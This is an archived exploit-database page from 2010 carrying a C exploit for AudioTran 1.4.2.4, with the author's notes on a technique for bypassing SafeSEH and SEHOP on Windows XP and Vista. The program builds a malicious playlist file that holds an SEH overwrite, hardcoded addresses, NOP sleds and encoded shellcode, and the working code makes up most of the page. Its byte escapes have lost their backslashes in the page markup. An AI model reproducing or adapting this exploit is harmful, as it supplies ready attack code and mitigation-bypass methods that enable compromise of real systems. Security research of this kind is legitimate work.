Home / os / win7

[local exploits] - AudioTran 1.4.2.4 SafeSEH + SEHOP Exploit

Posted on 01 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>AudioTran 1.4.2.4 SafeSEH + SEHOP Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='AudioTran 1.4.2.4 SafeSEH + SEHOP Exploit by x90c in local exploits | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>========================================= AudioTran 1.4.2.4 SafeSEH + SEHOP Exploit ========================================= # Exploit Title: AudioTran SafeSEH+SEHOP all-at-once attack method exploit # Date: 2010.10.1 # Author: x90c # Software Link: http://www.exploit-db.com/application/14961/ # Version: 1.4.2.4 # Tested on: - MS Win xp sp3 pro ko ( SafeSEH ) - MS Win xp sp3 pro en ( SafeSEH ) - MS Win Vista ultimate sp0 ko ( SafeSEH ) - MS Win Vista ultimate sp1 ko ( SafeSEH + SEHOP enabled ) # CVE : /* //-- AudioTran 1.4.2.4 SafeSEH+SEHOP *all at once* SEH attack method exploit ( SafeSEH+SEHOP all at once bypass attack, no &#039;pop pop ret&#039; and &#039;xor pop pop ret&#039; techniques ) //-- Description: I made a new attack techinque to exploit SafeSEH+SEHOP protection all at once after research SEH. And I applied the new method on AudioTran vulnerability for case by case exploit. David Litchfield Published &#039;Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server.&#039; Technical paper on 2003 ( SafeSEH bypass techniques ). - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf SYSDREAM Published &#039;Bypassing SEHOP&#039; article: - http://www.sysdream.com/articles/sehop_en.pdf This new all-at-once SEH attack techinque applied to bypassing the SafeSEH+SEHOP protection: Vista sp1, Win 7, Win Server 2008, Win Server 2008 R2 supports SEHOP Protection. And Only under Win 2008 Servers it enables by deafult. so I manualy enables SEHOP On vista sp1 by using fixitup tool which below link contains. then applied my new technique. - http://support.microsoft.com/kb/956607 Referenced exploits: SafeSEH/DEP bypass exploit: Muhamad Fadzil Ramli exploit for XP SP3 ( David Litchfield&#039;s SafeSEH bypass, ROP to bypass DEP ) - http://www.exploit-db.com/exploits/15047/ Credit/exploit: Abhishek Lyall exploit for XP SP2 ( SEH overwrite ) - http://www.exploit-db.com/exploits/14961/ ( Abhishek Lyall ) Tested Platforms: - MS Win xp sp3 pro ko ( SafeSEH ) - MS Win xp sp3 pro en ( SafeSEH ) - MS Win Vista ultimate sp0 ko ( SafeSEH ) - MS Win Vista ultimate sp1 ko ( SafeSEH + SEHOP enabled ) Screenshots: - http://www.x90c.org/All_at_Once_SEH_attack/win xp sp3_pro_en_SafeSEH.png - http://www.x90c.org/All_at_Once_SEH_attack/win xp sp3_pro_ko_SafeSEH.png - http://www.x90c.org/All_at_Once_SEH_attack/win vista sp0 Ultimate_ko_SafeSEH.png - http://www.x90c.org/All_at_Once_SEH_attack/win vista sp1 Ultimate_ko_SafeSEH_SEHOP_bypass.png Presentation URL: http://www.x90c.org/SEH all-at-once attack.pdf exploit URL: http://www.x90c.org/All_at_Once_SEH_attack/audiotran_safeseh_sehop_exploit(SEH_all-at-once_attack).c.txt p.s: This vulnerability doesn&#039;t needed any SEH attack, because it works like A classical stackoveflow. anyway I used it for applying a new technique. After research and writing this exploit without the litchfield method, I found originaly similar SafeSEH bypass method(registered exception handler approach) Introduced in the above David Litchfield&#039;s Technical Paper. The litchfield method applies only for SafeSEH bypass. My attack method can applys SafeSEH+SEHOP bypass *all at once*. ******* SafeSEH+SEHOP all at once attack method *******: [1] Looking for *_SafeSEH_allowed_modules!_except_handler3. [2] overwrite SEH E_R struct as below. |E_R *Next | Exception Handler | an base address of Image area | index to user-defined handler | ------------------------------------------------------------------------------------------------- |orig *Next| *!_except_handler3| calculated value 1(ind_useh1) | calculated value 2(ind_useh2) | - ind_useh1 is a base address of The vulnerable application&#039;s Image area for callling user-defined SEH Exception Handler. And ind_useh2 is the &#039;__try{}&#039; area count from zero(0)... If &#039;__try{ __try{&#039; then the [ebp-4] (ind_useh2) is 1. &#039;__try{ __try{ __ try{&#039; (ind_useh2) is 2. - the two values ind_useh1, ind_useh2 will calculated for a user-defined exception handler address For each &#039;__try{&#039;. *allowed_modules!_except_handler3(compiler generated handler) which calls User-defined handler. as you may know, attacker can control those two values and make A indirect call to shellcode. - SafeSEH(ExceptionHandler Validation) allows allowed *Modules!_except_handler3 Then it bypassed. newer *all-at-once attack is some different than David Litchfield&#039;s Approach. SEHOP doesn&#039;t allow overwriting the value &#039;xebx06 ( jmp short $+6 )&#039; to E_R struct *Next. If overwrited by other value than original E_R *next. than ChainValidation failed. My attack method doesn&#039;t changes the original *next value. and SEHOP(Chain validation) bypassed. _except_handler3 changed to _except_handler4 Under SEHOP applied platforms. but still exists _except_handler3 on some modules and other same codes like MSVBVM60!CreateIExprSrvObj+??. ( x90c ) - On some cases ind_useh1, ind_useh2 locations are changed as this AudioTran SEH. But it doesn&#039;t matter to exploit. ( AudioTran SEH ) |E_R *Next| ExceptionHandler | ind_useh2 | ind_useh1 | [3] seizes the values ind_useh1 and ind_useh2 for making a indirect callling to shellcode. -- x90c ( KyongJoo, Jung ) of INetCop(c) Security. Personal homepage: http://www.x90c.org E-mail: geinblues@gmail.com -- */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; char pls_head[] = &quot;x5Bx70x6Cx61x79x6Cx69x73x74x5Dx0Dx0Dx0Ax46x69x6Cx65x31x3D&quot;; // -- payload chunks for each platforms. char pre_nop[] = &quot;x90x90x90x90x90x90x90x90x90x90&quot;; char xp_sp3_pre[] = &quot;x76xe6x12x00&quot;; // &amp;next 4 ( 0012e676 ) -------+ char vista_sp0_pre[] = { // +0x64 stored address will called. | &quot;x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90&quot;// | &quot;x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90&quot;// | &quot;x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90&quot;// | &quot;x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90&quot;// | &quot;x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90&quot;// | &quot;x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90&quot;// | &quot;x90x90x90x90&quot; // | &quot;x76xe6x12x00&quot; }; // &amp;next 4: vista ultimate sp0 ko: 0012e676-+ | // | | char calc_shellcode[] = { // from Abhishek Lyall&#039;s exploit. &lt;----+----+ &quot;xDBxDFxD9x74x24xF4x58x2BxC9xB1x33xBA&quot; &quot;x4CxA8x75x76x83xC0x04x31x50x13x03x1CxBBx97x83x60&quot; &quot;x53xDEx6Cx98xA4x81xE5x7Dx95x93x92xF6x84x23xD0x5A&quot; &quot;x25xCFxB4x4ExBExBDx10x61x77x0Bx47x4Cx88xBDx47x02&quot; &quot;x4AxDFx3Bx58x9Fx3Fx05x93xD2x3Ex42xC9x1Dx12x1Bx86&quot; &quot;x8Cx83x28xDAx0CxA5xFEx51x2CxDDx7BxA5xD9x57x85xF5&quot; &quot;x72xE3xCDxEDxF9xABxEDx0Cx2DxA8xD2x47x5Ax1BxA0x56&quot; &quot;x8Ax55x49x69xF2x3Ax74x46xFFx43xB0x60xE0x31xCAx93&quot; &quot;x9Dx41x09xEEx79xC7x8Cx48x09x7Fx75x69xDExE6xFEx65&quot; &quot;xABx6Dx58x69x2AxA1xD2x95xA7x44x35x1CxF3x62x91x45&quot; &quot;xA7x0Bx80x23x06x33xD2x8BxF7x91x98x39xE3xA0xC2x57&quot; &quot;xF2x21x79x1ExF4x39x82x30x9Dx08x09xDFxDAx94xD8xA4&quot; &quot;x05x77xC9xD0xADx2Ex98x59xB0xD0x76x9DxCDx52x73x5D&quot; &quot;x2Ax4AxF6x58x76xCCxEAx10xE7xB9x0Cx87x08xE8x6Ex46&quot; &quot;x9Bx70x5FxEDx1Bx12x9F&quot; }; char trap_shellcode[] = &quot;xccxccxccxcc&quot;; char crasher[] = &quot;x41x41x41x41x42x42x42x42x43x43x43x43&quot;; // -- static char platforms[5][128] = { &quot; - 0: MS Win xp pro sp3 ko ( SafeSEH ) &quot;, &quot; - 1: MS Win xp pro sp3 en ( SafeSEH ) &quot;, &quot; - 2: MS Win Vista Ultimate sp0 ko ( SafeSEH ) &quot;, &quot; - 3: MS Win Vista Ultimate sp1 ko ( SafeSEH + SEHOP ) &quot;, &quot;&quot; }; int main(int argc, char *argv[]) { char xp_sp3_payload[sizeof(pls_head)+276+sizeof(pre_nop)+sizeof(xp_sp3_pre)+sizeof(calc_shellcode)]; char vista_sp0_payload[sizeof(pls_head)+276+sizeof(pre_nop)+sizeof(vista_sp0_pre)+sizeof(calc_shellcode)]; char vista_sp1_SEHOP_payload[sizeof(pls_head)+sizeof(trap_shellcode)+284]; short target = 0; long ind = 0; FILE *fp; printf(&quot;-- &quot;); printf(&quot;AudioTran SafeSEH+SEHOP all-at-once attack exploit ( no &#039;pop pop ret&#039; technique ) &quot;); printf(&quot;x90c (KyongJoo, Jung) &quot;); printf(&quot;-- &quot;); printf(&quot;Usage: %s [target] &quot;, argv[0]); printf(&quot;%s%s%s%s &quot;, platforms[0], platforms[1], platforms[2], platforms[3]); if(argc &lt; 2) exit(1); target = atoi(argv[1]); fp = fopen(&quot;SEH_Trigger.pls&quot;, &quot;wb&quot;); ind = sizeof(pls_head) - 1; /* TARGET: XP sp3 ko, en SafeSEH */ if(target == 0 || target == 1){ memcpy(&amp;xp_sp3_payload, &amp;pls_head, sizeof(pls_head)); memset(&amp;xp_sp3_payload[ind], &#039;A&#039;, 260); *(long *)&amp;xp_sp3_payload[ind+=260] = 0x0012e600; // original E_R *next if(target == 0) // xp sp3 ko *(long *)&amp;xp_sp3_payload[ind+=4] = 0x7345bafd; // *windows_module!_except_handler3 else if(target == 1) // xp sp3 ko *(long *)&amp;xp_sp3_payload[ind+=4] = 0x7350bafd; // *windows_module!_except_handler3 *(long *)&amp;xp_sp3_payload[ind+=4] = 0x0012e604; // ind_useh *(long *)&amp;xp_sp3_payload[ind+=4] = 0x00000009; // ind_useh1 memcpy(&amp;xp_sp3_payload[ind+=4], &amp;pre_nop, sizeof(pre_nop)); memcpy(&amp;xp_sp3_payload[ind+=(sizeof(pre_nop)-1)], &amp;xp_sp3_pre, sizeof(xp_sp3_pre)); memcpy(&amp;xp_sp3_payload[ind+=(sizeof(xp_sp3_pre)-1)], &amp;calc_shellcode, sizeof(calc_shellcode)); ind+=sizeof(calc_shellcode); fwrite(&amp;xp_sp3_payload, 1, ind - 1, fp); } /* TARGET: Vista sp0 ko SafeSEH */ else if(target == 2) { memcpy(&amp;vista_sp0_payload, &amp;pls_head, sizeof(pls_head)); memset(&amp;vista_sp0_payload[ind], &#039;A&#039;, 260); *(long *)&amp;vista_sp0_payload[ind+=260] = 0x0012e658; // original E_R *next *(long *)&amp;vista_sp0_payload[ind+=4] = 0x7338ba2d; // *windows_module!_except_handler3 *(long *)&amp;vista_sp0_payload[ind+=4] = 0x0012e602; // ind_useh *(long *)&amp;vista_sp0_payload[ind+=4] = 0x00000009; // ind_useh1 memcpy(&amp;vista_sp0_payload[ind+=4], &amp;pre_nop, sizeof(pre_nop)); memcpy(&amp;vista_sp0_payload[ind+=(sizeof(pre_nop)-1)], &amp;vista_sp0_pre, sizeof(vista_sp0_pre)); memcpy(&amp;vista_sp0_payload[ind+=(sizeof(vista_sp0_pre)-1)], &amp;calc_shellcode, sizeof(calc_shellcode)); ind+=sizeof(calc_shellcode); fwrite(&amp;vista_sp0_payload, 1, ind - 1, fp); } /* TARGET: Vista sp1 ko SafeSEH + SEHOP */ else if(target == 3){ memcpy(&amp;vista_sp1_SEHOP_payload, &amp;pls_head, sizeof(pls_head)); memcpy(&amp;vista_sp1_SEHOP_payload[ind], &amp;trap_shellcode, 4); // trap_shellcode memset(&amp;vista_sp1_SEHOP_payload[ind+=4], &#039;A&#039;, 150); *(long *)&amp;vista_sp1_SEHOP_payload[ind+=150] = 0x0012e4d8; // &amp;trap_shellcode memset(&amp;vista_sp1_SEHOP_payload[ind+=4], &#039;B&#039;, 102); *(long *)&amp;vista_sp1_SEHOP_payload[ind+=102] = 0x0012e640; // original E_R *next *(long *)&amp;vista_sp1_SEHOP_payload[ind+=4] = 0x7278bafd; // MSVBVM60!CreateIExprSrvObj+?? *(long *)&amp;vista_sp1_SEHOP_payload[ind+=4] = 0x0012e504; // ind_useh *(long *)&amp;vista_sp1_SEHOP_payload[ind+=4] = 0x00000009; // ind_useh1 memcpy(&amp;vista_sp1_SEHOP_payload[ind+=4], &amp;crasher, sizeof(crasher)); // crasher ind+=sizeof(crasher); fwrite(&amp;vista_sp1_SEHOP_payload, 1, ind - 1, fp); } fclose(fp); printf(&quot;[+] Target: %s&quot;, platforms[target]); printf(&quot;[+] &#039;SEH_Trigger.pls&#039; file created! &quot;); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-01]</pre></body></html>

 

TOP